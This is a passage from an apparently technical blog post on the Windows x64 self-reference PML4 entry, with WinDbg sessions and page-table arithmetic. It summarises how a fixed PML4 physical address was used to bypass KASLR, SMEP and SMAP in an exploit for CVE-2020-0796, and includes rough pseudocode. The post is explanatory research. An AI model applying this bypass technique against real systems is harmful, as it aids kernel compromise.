&lt;p&gt;But we slightly digressed, back to the topic: in order to map in the VAS our PML4 which is in physical address space, the kernel needs a way to always know at least one entry of the PML4: this is the &lt;u&gt;“Self-Reference Entry”&lt;&#x2F;u&gt;. Also seen to be called “auto-entry”, the &lt;em&gt;Self-Reference Entry&lt;&#x2F;em&gt; (or “self-ref entry” for short) is a special PML4 index (so then only 9-bit in size) that only the kernel knows (hence between 0x100-0x1ff), and whose content points the physical address of the PML4 itself. By doing so, Windows kernel gives itself an easy way to reach by a virtual address, any directory (PML4, PDPT, PDE, etc.).&lt;&#x2F;p&gt;
&lt;p&gt;On Windows 7, the self-ref entry index is a static value (0x1ed) whereas Windows 10 randomizes it on boot. So to understand why this Self-Reference Entry is helpful, let’s process a virtual address like the &lt;abbr title=&quot;Memory Management Unit&quot;&gt;MDL&lt;&#x2F;abbr&gt; would: the PML4 index corresponds to the 39:47 bits of a VA, so the value 0x1ed (or 0b111101101) would be as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Bi| 6   ...  4444 4444 3333  ...
&lt;&#x2F;span&gt;&lt;span&gt;t#| 3   ...  7654 3210 9876  ...
&lt;&#x2F;span&gt;&lt;span&gt;Va|          1111 0110 1xxx     &amp;lt;&amp;lt;-- 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt;lu|
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So for all Windows from 7 to 10 TH2, the PML4 table of &lt;strong&gt;all processes&lt;&#x2F;strong&gt; was always mapped &lt;strong&gt;at the same range&lt;&#x2F;strong&gt; 0xFFFFF680`00000000 → 0xFFFFF6FF`FFFFFFFF. The randomization was added by Windows 10 RS1.&lt;&#x2F;p&gt;
&lt;p&gt;So let’s translate a special VA 0xFFFFF6FB`7DBED000‬ to a physical address (PA): by decomposing its indexes we get:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt; *   pml4e_offset     : 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt; *   pdpe_offset      : 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt; *   pde_offset       : 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt; *   pte_offset       : 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt; *   offset           : 0x000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;the output is from my &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;blob&#x2F;master&#x2F;scripts&#x2F;PageExplorer.js&quot;&gt;&lt;code&gt;PageExplorer.js&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; WinDbg script.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;The PML4E of the current process can be reached at &lt;code&gt;CR3 + 0x1ed*@$ptrsize&lt;&#x2F;code&gt;: but the content is the base physical address of the PML4 itself again! So the PDPE will itself also translate to the PML4 and so on until we read the &lt;code&gt;PTE+offset&lt;&#x2F;code&gt; which again will return the base address of the PML4 (because &lt;code&gt;offset=0&lt;&#x2F;code&gt;)! So what we get is an easy way to read the content of not just the PML4 itself, but any page directory, and all simply by knowing that 9-bit value (and therefore, calculating the corresponding PXE)! So you can artificially create VA simply by their offset, for instance to read the PageTable instead?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt; *   pml4e_offset     : 0x1ed
&lt;&#x2F;span&gt;&lt;span&gt; *   pdpe_offset      : 0x000
&lt;&#x2F;span&gt;&lt;span&gt; *   pde_offset       : 0x000
&lt;&#x2F;span&gt;&lt;span&gt; *   pte_offset       : 0x000
&lt;&#x2F;span&gt;&lt;span&gt; *   offset           : 0x000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And build the address as&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0xffff&amp;lt;&amp;lt;48 | $pml4e_offset&amp;lt;&amp;lt;39 | $pdpe_offset&amp;lt;&amp;lt;30 | $pde_offset&amp;lt;&amp;lt;21 | $pte_offset&amp;lt;&amp;lt;12 | $offset
&lt;&#x2F;span&gt;&lt;span&gt; =&amp;gt; 0xffff&amp;lt;&amp;lt;48 | 0x1ed&amp;lt;&amp;lt;39 | 0&amp;lt;&amp;lt;30 | 0&amp;lt;&amp;lt;21 | 0&amp;lt;&amp;lt;12 | 0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And you get the value: 0xFFFFF680`00000000.&lt;&#x2F;p&gt;
&lt;p&gt;That’s why older versions of Windows (which did not randomized the Self-Reference entry and had it hardcoded at 0x1ed) offered a great avenue for defeating KASLR even remotely because you knew for sure always where the PageTable was, and there was a way to browse all pages of a process without ever faulting. And even on modern recent Windows 10, it still means with an arbitrary write you can defeat KASLR and SMEP&#x2F;SMAP together.&lt;&#x2F;p&gt;
&lt;p&gt;To summarize (or if you just jumped to the end of this section), what’s awesome about the &lt;em&gt;Self-Reference PML4 Entry&lt;&#x2F;em&gt; is that knowing only 9 bits (for example 0x1ed) we can &lt;strong&gt;easily dump physical memory&lt;&#x2F;strong&gt;!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-about-windows-10-rs1&quot;&gt;What about Windows 10 RS1+?&lt;&#x2F;h2&gt;
&lt;p&gt;Up until Windows 10 TH2, the magic index for the Self-Reference PML4 entry was 0x1ed as mentioned above. But what about Windows 10 from 1607? Well Microsoft uped their game, as a &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.blackhat.com&#x2F;docs&#x2F;us-16&#x2F;materials&#x2F;us-16-Weston-Windows-10-Mitigation-Improvements.pdf&quot;&gt;constant battle for improving Windows security&lt;&#x2F;a&gt; the index is randomized at boot-time, so 0x1ed is now one of the 512 possible values (i.e. 9-bit index) that the Self-Reference entry index can have. And side effect, it also broke some of their own tools, like the &lt;code&gt;!pte2va&lt;&#x2F;code&gt; WinDbg command.&lt;&#x2F;p&gt;
&lt;p&gt;On Windows 2004 x64, 0xFFFFF680`00000000 points to nothing (at least most of the times 🤓)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; db 0xFFFFF680`00000000 l20
&lt;&#x2F;span&gt;&lt;span&gt;fffff680`00000000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;fffff680`00000010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But is it really 512 values for the entry? Well no, because the most significant bit must be set to 1 for the Sign-Extension to properly make it a kernel canonical address. So it is more 256 values (from 0x100 to 0x1ff). If we’re in KD, this index can be retrieved by a new global symbol &lt;code&gt;nt!MmPteBase&lt;&#x2F;code&gt;, and so the self-reference entry can be known as:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dq nt!MmPteBase l1
&lt;&#x2F;span&gt;&lt;span&gt;fffff804`29e29388  fffff880`00000000
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; ? (poi(nt!MmPteBase) &amp;gt;&amp;gt; 0n39) &amp;amp; 0x1ff
&lt;&#x2F;span&gt;&lt;span&gt;Evaluate expression: 497 = 00000000`000001f1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In our current KD session on a Windows 2004 (on Hyper-V), the self-reference entry has the index of 0x1f1. So now we have the PML4 index, we can craft the virtual address to get its physical address:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;calculate the PTE VA&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; ? 0xffff&amp;lt;&amp;lt;0n48 | 0x1f1&amp;lt;&amp;lt;0n39 | 0x1f1&amp;lt;&amp;lt;0n30 | 0x1f1&amp;lt;&amp;lt;0n21 | 0x1f1&amp;lt;&amp;lt;0n12 | 000
&lt;&#x2F;span&gt;&lt;span&gt;Evaluate expression: -7711643201536 = fffff8fc`7e3f1000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;get the entry info&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; !pte 0xfffff8fc7e3f1000
&lt;&#x2F;span&gt;&lt;span&gt;@$pte(0xfffff8fc7e3f1000)                 : VA=0xfffff8fc7e3f1000, PA=0x4c7d1000, Offset=0x0
&lt;&#x2F;span&gt;&lt;span&gt;    va               : -7711643201536
&lt;&#x2F;span&gt;&lt;span&gt;    cr3              : 0x4c7d1000
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e_offset     : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe_offset      : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pde_offset       : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pte_offset       : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    offset           : 0x0
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e            : PDE(PA=4c7d1000, PFN=4c7d1, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe             : PDE(PA=4c7d1000, PFN=4c7d1, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pde              : PDE(PA=4c7d1000, PFN=4c7d1, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pte              : PTE(PA=4c7d1000, PFN=4c7d1, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pa               : 0x4c7d1000
&lt;&#x2F;span&gt;&lt;span&gt;    kernel_pxe       : 0xfffff8fc7e3f1f88
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As we see, for each entry (PML4E, PDPTE, etc.) the base address found is always the same &lt;strong&gt;and&lt;&#x2F;strong&gt; matches the content of &lt;code&gt;CR3&lt;&#x2F;code&gt;.
We can also easily prove this is the self-reference entry index: as stated above, the entry index (in our example 0x1f1) has to be the same for all processes, meaning that if we break into another process context, the kernel PXE will be the same. Let’s try with our &lt;code&gt;int3.exe&lt;&#x2F;code&gt; again:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Break instruction exception - code 80000003 (first chance)
&lt;&#x2F;span&gt;&lt;span&gt;0033:00007ff6`2ac36d08 cc              int     3
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; !pte 0xfffff8fc7e3f1000
&lt;&#x2F;span&gt;&lt;span&gt;@$pte(0xfffff8fc7e3f1000)                 : VA=0xfffff8fc7e3f1000, PA=0x1b1f7000, Offset=0x0
&lt;&#x2F;span&gt;&lt;span&gt;    va               : -7711643201536
&lt;&#x2F;span&gt;&lt;span&gt;    cr3              : 0x1b1f7000
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e_offset     : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe_offset      : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pde_offset       : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    pte_offset       : 0x1f1
&lt;&#x2F;span&gt;&lt;span&gt;    offset           : 0x0
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e            : PDE(PA=1b1f7000, PFN=1b1f7, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe             : PDE(PA=1b1f7000, PFN=1b1f7, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pde              : PDE(PA=1b1f7000, PFN=1b1f7, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pte              : PTE(PA=1b1f7000, PFN=1b1f7, Flags=PRwK--AD-eX)
&lt;&#x2F;span&gt;&lt;span&gt;    pa               : 0x1b1f7000
&lt;&#x2F;span&gt;&lt;span&gt;    kernel_pxe       : 0xfffff8fc7e3f1f88
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And to confirm the VA points to the correct PA:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; db 0xfffff8fc7e3f1000
&lt;&#x2F;span&gt;&lt;span&gt;fffff8fc`7e3f1000  67 28 16 62 00 00 00 8a-67 58 c8 11 00 00 00 8a  g(.b....gX......
&lt;&#x2F;span&gt;&lt;span&gt;fffff8fc`7e3f1010  00 00 00 00 00 00 00 00-67 f8 40 77 00 00 00 8a  ........g.@w....
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; !db 0x1b1f7000 l20
&lt;&#x2F;span&gt;&lt;span&gt;#1b1f7000 67 28 16 62 00 00 00 8a-67 58 c8 11 00 00 00 8a g(.b....gX......
&lt;&#x2F;span&gt;&lt;span&gt;#1b1f7010 00 00 00 00 00 00 00 00-67 f8 40 77 00 00 00 8a ........g.@w....
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Same data, the VA to PA conversion was successful, and the recursive page entries always point to the same PML4 table, at the physical address 0x1b1f7000. It all goes full circle, pretty nice.&lt;&#x2F;p&gt;
&lt;p&gt;Last, one can ask: is there any kind of randomization of the allocation of the physical pages themselves? Legit question, and I experimented using some LINQ querying:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dx -g @$cursession.Processes.Select( p =&amp;gt; new { ProcessName = p.Name, Pml4Base = p.KernelObject.Pcb.DirectoryTableBase &amp;amp; 0xfffffffffff000})
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Across several reboots in my VM labs, only 2 matches are shown consistently&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 2004 x64 Generation 1 (i.e. BIOS)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;PID&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Process Name&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Pml4Base&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Idle&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1aa000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;System&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1aa000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;Windows 2004 x64 Generation 2 (i.e. UEFI)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;PID&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Process Name&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Pml4Base&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Idle&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x6d4000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;System&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x6d4000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;0x1aa000 for the physical address of a Gen1 (BIOS) Hyper-V VM, and 0x6d4000 for a Gen2 (UEFI). This seems to partially coincide with what was said in Ricerca’s article (see &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2020-06-15-playing-with-self-reference-pml4-entry&#x2F;#links&quot;&gt;#1&lt;&#x2F;a&gt;) about the fact that the PML4 for System is at unrandomized physical address in most cases. From my limited testing the following physical addresses were found consistently (for Windows 2004 x64 with Kd):&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Platform&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;PML4 Base&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Native (UEFI)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1ba000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hyper-V Gen1 (BIOS)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1aa000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hyper-V Gen2 (UEFI)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x6d4000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;VirtualBox (BIOS)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1aa000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;VirtualBox (UEFI)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0x1ad000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;if you have other values on your environment (Qemu, VMware), feel free to contact me and I’ll update the table with the result of the KD command&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;dx @$cursession.Processes.Where( p =&amp;gt; p.Name == &amp;quot;System&amp;quot;).First().KernelObject.Pcb.DirectoryTableBase &amp;amp; ~0xfff
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And this is really the subtlety of Ricerca’s exploit: they showed that only with a fixed physical address (associated to the SYSTEM process), and a fixed virtual area (the &lt;code&gt;nt!_KUSER_SHARED_DATA&lt;&#x2F;code&gt; section at 0xfffff780`00000000) that is always at a known location since NT4, one can create an &lt;abbr title=&quot;Memory Descriptor List&quot;&gt;MDL&lt;&#x2F;abbr&gt; used in Direct Memory Access, and achieve arbitrary read to virtual addresses simply by recursing through the PML4E, the PDPTE, etc. just like the &lt;abbr title=&quot;Memory Management Unit&quot;&gt;MDL&lt;&#x2F;abbr&gt; does. Since they could read the PML4 entirely at a fixed physical address, say 0x1aa000, they could determine the index of the “Self-Reference Entry” from a simple for-loop going through the PML4 page (very approximate pseudo-code):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;system_pml4_root = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1aa000
&lt;&#x2F;span&gt;&lt;span&gt;size_of_page = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000
&lt;&#x2F;span&gt;&lt;span&gt;size_of_entry = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# loop in the PML4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;index &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(system_pml4_root, system_pml4_root+size_of_page, size_of_entry):
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# get the entry
&lt;&#x2F;span&gt;&lt;span&gt;  entry = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_physical_memory&lt;&#x2F;span&gt;&lt;span&gt;(index) )
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# compare to the root (after trimming the 12 lsb)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(entry &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;) == (system_pml4_root &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;self-reference entry is at index: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % index)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I hope not to make it sound simple, it is not and took me quite some time to figure out, so massive props to &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hugeh0ge`](https:&amp;#x2F;&amp;#x2F;twitter.com&amp;#x2F;hugeh0ge) and [`@_N4NU_&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@hugeh0ge`](https:&amp;#x2F;&amp;#x2F;twitter.com&amp;#x2F;hugeh0ge) and [`@_N4NU_&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 for the implementation. This technique provides a somewhat reliable way to defeat KASLR, SMEP &amp;amp; SMAP with no other vulnerability, but by mere knowledge of Intel processors and Windows memory management inner workings, for the vulnerability CVE-2020-0796, which, due to Microsoft’s effort, made it tough.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks for reading…✌&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Update&lt;&#x2F;em&gt;: A &lt;code&gt;@$selfref()&lt;&#x2F;code&gt; function was added to &lt;code&gt;PageExplorer.js&lt;&#x2F;code&gt;, allowing to easily retrieve the PML4 self-reference (tested 8 -&amp;gt; 11)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$selfref()
&lt;&#x2F;span&gt;&lt;span&gt;@$selfref()      : 0x1ec
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$ptview().pml4_table[ @$selfref() ].PhysicalPageAddress ==  @$ptview().pml4_table[ @$selfref() ].Children[ @$selfref() ].PhysicalPageAddress
&lt;&#x2F;span&gt;&lt;span&gt;@$ptview().pml4_table[ @$selfref() ].PhysicalPageAddress ==  @$ptview().pml4_table[ @$selfref() ].Children[ @$selfref() ].PhysicalPageAddress : true
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$ptview().pml4_table[ @$selfref() ]
&lt;&#x2F;span&gt;&lt;span&gt;@$ptview().pml4_table[ @$selfref() ]                 : PML4 Entry(PA=7d5000, Flags=[P RW K - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    address          : 0x7d5f60
